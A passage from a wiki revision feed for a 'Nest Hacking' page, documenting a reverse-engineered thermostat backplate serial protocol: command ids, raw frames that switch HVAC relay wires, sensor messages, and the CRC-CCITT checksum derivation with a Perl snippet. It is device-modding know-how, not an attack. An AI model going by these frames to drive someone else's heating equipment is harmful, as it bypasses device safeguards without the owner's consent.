 #!/usr/bin/env perl&lt;br /&gt;
 use Digest::CRC qw(crc);&lt;br /&gt;
 my $data = pack(&amp;quot;H*&amp;quot;, &amp;quot;820002000000&amp;quot;);&lt;br /&gt;
 printf(&amp;quot;%04x\n&amp;quot;, crc($data,16,0,0,0,0x1021,0,0));&lt;br /&gt;
&lt;br /&gt;
We can also compute the same CRC in Perl; note the result will be byte swapped since the data encodes the number as little endian.&lt;br /&gt;
&lt;br /&gt;
=== Command ids ===&lt;br /&gt;
&lt;br /&gt;
==== Display to backplane ====&lt;br /&gt;
 [[#FET control|0082 - FET control]]&lt;br /&gt;
 0083 - (every 30 seconds; no data)&lt;br /&gt;
 [[#FET presence|008f - FET presence]]&lt;br /&gt;
 0090 - (no data)&lt;br /&gt;
 0098 - (no data)&lt;br /&gt;
 0099 - (no data)&lt;br /&gt;
 009b - (no data)&lt;br /&gt;
 009c - (no data)&lt;br /&gt;
 009d - (no data)&lt;br /&gt;
 009e - (no data)&lt;br /&gt;
 009f - (no data)&lt;br /&gt;
 00a1 - (16-bit data)&lt;br /&gt;
 00a2 - (every 30 seconds; no data)&lt;br /&gt;
 00a3 - (every 30 seconds; no data)&lt;br /&gt;
 00a4 - (16-bit data)&lt;br /&gt;
 00b1 - button pressed/unpressed (no data)&lt;br /&gt;
 00b3 - (32-bit data; always ffffffff?)&lt;br /&gt;
 00b5 - (16-bit data; always 0f00?)&lt;br /&gt;
 00b9 - (32-bit data; always 0000ffff?)&lt;br /&gt;
 00ba - (48-bit data; always 000000000000?)&lt;br /&gt;
 00c2 - (48-bit data)&lt;br /&gt;
 00ff - (no data)&lt;br /&gt;
&lt;br /&gt;
==== Backplane to display ====&lt;br /&gt;
 0001 - (message from backplane; ascii)&lt;br /&gt;
 [[#Temperature reading|0002 - Temperature reading (twice every 30 seconds; 32-bit data)]]&lt;br /&gt;
 [[#FET presence|0004 - FET presence]]&lt;br /&gt;
 0005 - (32-bit data)&lt;br /&gt;
 0007 - (every second; 16-bit data)&lt;br /&gt;
 [[#FET presence|0009 - FET presence]]&lt;br /&gt;
 000a - (every second; 16-bit data)&lt;br /&gt;
 000b - (backplane state)&lt;br /&gt;
 000c - (every 30 seconds; 112-bit data)&lt;br /&gt;
 0010 - (24-bit data)&lt;br /&gt;
 0014 - (16-bit data)&lt;br /&gt;
 0018 - (48-bit data)&lt;br /&gt;
 0019 - (52-BYTE data)&lt;br /&gt;
 001b - (24-bit data)&lt;br /&gt;
 001c - (24-bit data)&lt;br /&gt;
 001d - (16-bit data)&lt;br /&gt;
 001e - (13-BYTE data)&lt;br /&gt;
 001f - (128-bit data)&lt;br /&gt;
 0022 - (every 30 seconds; 4, 8, 20, 28, 36, 56, 60, 54, 68, 72, or 176 byte data)&lt;br /&gt;
 0023 - (6, 12, 30, 42, 54, 78, 84, 90, 96, 102, 108, 144, or 150 byte data)&lt;br /&gt;
 0025 - (2, 4, 12, 14, 20, or 24 byte data)&lt;br /&gt;
 0027 - (8, 16, 48, 56, 80, or 96 byte data)&lt;br /&gt;
 0029 - (6, 12, 36, 42, 60, or 72 byte data)&lt;br /&gt;
 002b - (8, 16, 24, 32, 40, 128, or 152 byte data)&lt;br /&gt;
 002f - (every 30 seconds; 16-bit data)&lt;br /&gt;
&lt;br /&gt;
=== FET control ===&lt;br /&gt;
 Turn on  W1: d5aa96 8200 0200 00 01 29a2&lt;br /&gt;
 Turn off W1: d5aa96 8200 0200 00 00 08b2&lt;br /&gt;
 Turn on  Y1: d5aa96 8200 0200 01 01 1891&lt;br /&gt;
 Turn off Y1: d5aa96 8200 0200 01 00 3981&lt;br /&gt;
 Turn on  G : d5aa96 8200 0200 02 01 4bc4&lt;br /&gt;
 Turn off G : d5aa96 8200 0200 02 00 6ad4&lt;br /&gt;
 Turn on  OB: d5aa96 8200 0200 03 01 7af7&lt;br /&gt;
 Turn off OB: d5aa96 8200 0200 03 00 5be7&lt;br /&gt;
 Turn on  W2: d5aa96 8200 0200 04 01 ed6e&lt;br /&gt;
 Turn off W2: d5aa96 8200 0200 04 00 cc7e&lt;br /&gt;
 Turn on  Y2: d5aa96 8200 0200 07 01 be3b&lt;br /&gt;
 Turn off Y2: d5aa96 8200 0200 07 00 9f2b&lt;br /&gt;
 Turn on  * : d5aa96 8200 0200 0b 01 d37e&lt;br /&gt;
 Turn off * : d5aa96 8200 0200 0b 00 f26e&lt;br /&gt;
&lt;br /&gt;
For the sake of documentation, we will refer to the unique id numbers for each wire as &amp;quot;wire id numbers&amp;quot;.&lt;br /&gt;
So wire id 0 is W1, wire id 1 is Y1, wire id B is *, etc.&lt;br /&gt;
&lt;br /&gt;
=== FET presence ===&lt;br /&gt;
The backplate will, at least upon connection, send information about which FETs have a wire present.&lt;br /&gt;
This data is received with command ids 0004 and 0009, in that order.&lt;br /&gt;
Each sensor is represented by one byte which is either 00 (not present) or 01 (present).&lt;br /&gt;
&lt;br /&gt;
The content of 0004 is in order of the &amp;quot;wire id numbers&amp;quot; used for control:&lt;br /&gt;
W1, Y1, G, OB, W2, ?0, ?0, Y2, ?1, ?1, ?0, *, ?0&lt;br /&gt;
&lt;br /&gt;
The content of 0009 is arranged differently and has 2 more values:&lt;br /&gt;
W1, Y1, ?1, ?1, ?0, G, OB, W2, ?0, Y2, ?0, *, ?0, ?0, ?0&lt;br /&gt;
&lt;br /&gt;
After these are received, the display sends back command 008f with the exact data of 0004.&lt;br /&gt;
&lt;br /&gt;
=== Temperature reading ===&lt;br /&gt;
The backplate will send message 0002 every 30 seconds.&lt;br /&gt;
The data contains two 16-bit numbers, which nlclient logs in decimal.&lt;br /&gt;
The first number is the temperature in centi-celcius.&lt;br /&gt;
The second number is the humidity in per-millis.&lt;br /&gt;
&lt;br /&gt;
== Run BeagleBone/Debian programs ==&lt;br /&gt;
 ln -s . /lib/arm-linux-gnueabihf&lt;br /&gt;
 ln -s ld-2.11.1.so /lib/ld-linux-armhf.so.3&lt;/div&gt;</summary>
		<author><name>Mbm</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Nest_Hacking&amp;diff=1944</id>
		<title>Nest Hacking</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Nest_Hacking&amp;diff=1944"/>
		<updated>2014-06-29T09:22:09Z</updated>

		<summary type="html">&lt;p&gt;Mbm: /* Checksum */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Info ==&lt;br /&gt;
* /dev/event1 is the knob; /dev/event2 is the button&lt;br /&gt;
&lt;br /&gt;
== Nest software ==&lt;br /&gt;
 /nestlabs/sbin/nlclient -config /nestlabs/etc/client.config -config /nestlabs/etc/Display/Display-2/client.config&lt;br /&gt;
&lt;br /&gt;
== Nest backplate interface ==&lt;br /&gt;
* Connected on /dev/ttyO2&lt;br /&gt;
 Turn on  W1: d5aa96 8200 0200 00 01 29a2&lt;br /&gt;
 Turn off W1: d5aa96 8200 0200 00 00 08b2&lt;br /&gt;
 Turn on  Y1: d5aa96 8200 0200 01 01 1891&lt;br /&gt;
 Turn off Y1: d5aa96 8200 0200 01 00 3981&lt;br /&gt;
 Turn on  G : d5aa96 8200 0200 02 01 4bc4&lt;br /&gt;
 Turn off G : d5aa96 8200 0200 02 00 6ad4&lt;br /&gt;
 Turn on  OB: d5aa96 8200 0200 03 01 7af7&lt;br /&gt;
 Turn off OB: d5aa96 8200 0200 03 00 5be7&lt;br /&gt;
 Turn on  W2: d5aa96 8200 0200 04 01 ed6e&lt;br /&gt;
 Turn off W2: d5aa96 8200 0200 04 00 cc7e&lt;br /&gt;
 Turn on  Y2: d5aa96 8200 0200 07 01 be3b&lt;br /&gt;
 Turn off Y2: d5aa96 8200 0200 07 00 9f2b&lt;br /&gt;
 Turn on  * : d5aa96 8200 0200 0b 01 d37e&lt;br /&gt;
 Turn off * : d5aa96 8200 0200 0b 00 f26e&lt;br /&gt;
&lt;br /&gt;
* All communications with backplane begin with (d5)d5aa96 (d5 is doubled only for data FROM backplane)&lt;br /&gt;
* 16-bit command&lt;br /&gt;
* 16-bit data length&lt;br /&gt;
* &amp;lt;data&amp;gt;&lt;br /&gt;
* 16-bit checksum&lt;br /&gt;
&lt;br /&gt;
Monitor:&lt;br /&gt;
 strace -ff -p $(pidof nlclient) -x -s9999 -e read,write 2&amp;gt;&amp;amp;1 | grep &#039;(54&#039;&lt;br /&gt;
&lt;br /&gt;
=== Checksum ===&lt;br /&gt;
&amp;lt;Bytes-from-end&amp;gt;.&amp;lt;bit-value&amp;gt;  &amp;lt;xor-with&amp;gt;&lt;br /&gt;
 00.01  2110 (1021)&lt;br /&gt;
 00.02  4220 (2042: 1021&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.04  8440 (4084: 2048&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.08  0881 (8108: 4084&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.10  3112 (1231: 8108&amp;lt;&amp;lt;1^1021)&lt;br /&gt;
 00.20  6224 (2462: 1231&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.40  c448 (48c4: 2462&amp;lt;&amp;lt;1)&lt;br /&gt;
 00.80  8891 (9188: 48c4&amp;lt;&amp;lt;1)&lt;br /&gt;
 01.01  3133 (3313: 9188&amp;lt;&amp;lt;1^1021)&lt;br /&gt;
 01.02  6266&lt;br /&gt;
 01.04  c4cc&lt;br /&gt;
 01.08  a989&lt;br /&gt;
 01.10  7303&lt;br /&gt;
 01.20  e606&lt;br /&gt;
 01.40  cc0d&lt;br /&gt;
 01.80  981b&lt;br /&gt;
 02.01  3037&lt;br /&gt;
 02.02  606e&lt;br /&gt;
 ...&lt;br /&gt;
 03.01  b476&lt;br /&gt;
 03.02  68ed&lt;br /&gt;
 03.04  f1ca&lt;br /&gt;
 03.08  c385&lt;br /&gt;
 03.10  a71b&lt;br /&gt;
 03.20  4e37&lt;br /&gt;
 03.40  9c6e&lt;br /&gt;
 03.80  38dd&lt;br /&gt;
 ...&lt;br /&gt;
 07.20  687b&lt;br /&gt;
&lt;br /&gt;
If you compute the contribution of the individual bit changes in the data you end up with the xor table above; byte offset from the end of the data, bit pattern, xor value. Correcting for little endianess in the output you end up with the hex values in parenthesis. The least significant bit is 0x1021 and each subsequent bit is a shift left, if the XOR value has the 0x8000 bit set then it is XORed with 0x1021. This is the CRC-CCITT polynomial.&lt;br /&gt;
&lt;br /&gt;
  8  7  6  5  4  3  2  1  0&lt;br /&gt;
 d5 aa 96 82 00 02 00 00 00: 08b2&lt;br /&gt;
          ||     |&lt;br /&gt;
          ||     68ed&lt;br /&gt;
          |408b&lt;br /&gt;
          20d4&lt;br /&gt;
  &lt;br /&gt;
 08b2: 68ed ^ 408b ^ 20d4&lt;br /&gt;
&lt;br /&gt;
Starting at the least significant bit and filling in the XOR values for each bit gives the above diagram; the diagram stops at the 20d4 XOR value because at that point it matches the final CRC. This tells us that the CRC covers the 6 bytes prior.&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/env perl&lt;br /&gt;
 use Digest::CRC qw(crc);&lt;br /&gt;
 my $data = pack(&amp;quot;H*&amp;quot;, &amp;quot;820002000000&amp;quot;);&lt;br /&gt;
 printf(&amp;quot;%04x\n&amp;quot;, crc($data,16,0,0,0,0x1021,0,0));&lt;br /&gt;
&lt;br /&gt;
We can also compute the same CRC in Perl; note the result will be byte swapped since the data encodes the number as little endian.&lt;br /&gt;
&lt;br /&gt;
== Run BeagleBone/Debian programs ==&lt;br /&gt;
 ln -s . /lib/arm-linux-gnueabihf&lt;br /&gt;
 ln -s ld-2.11.1.so /lib/ld-linux-armhf.so.3&lt;/div&gt;</summary>
		<author><name>Mbm</name></author>
	</entry>
</feed>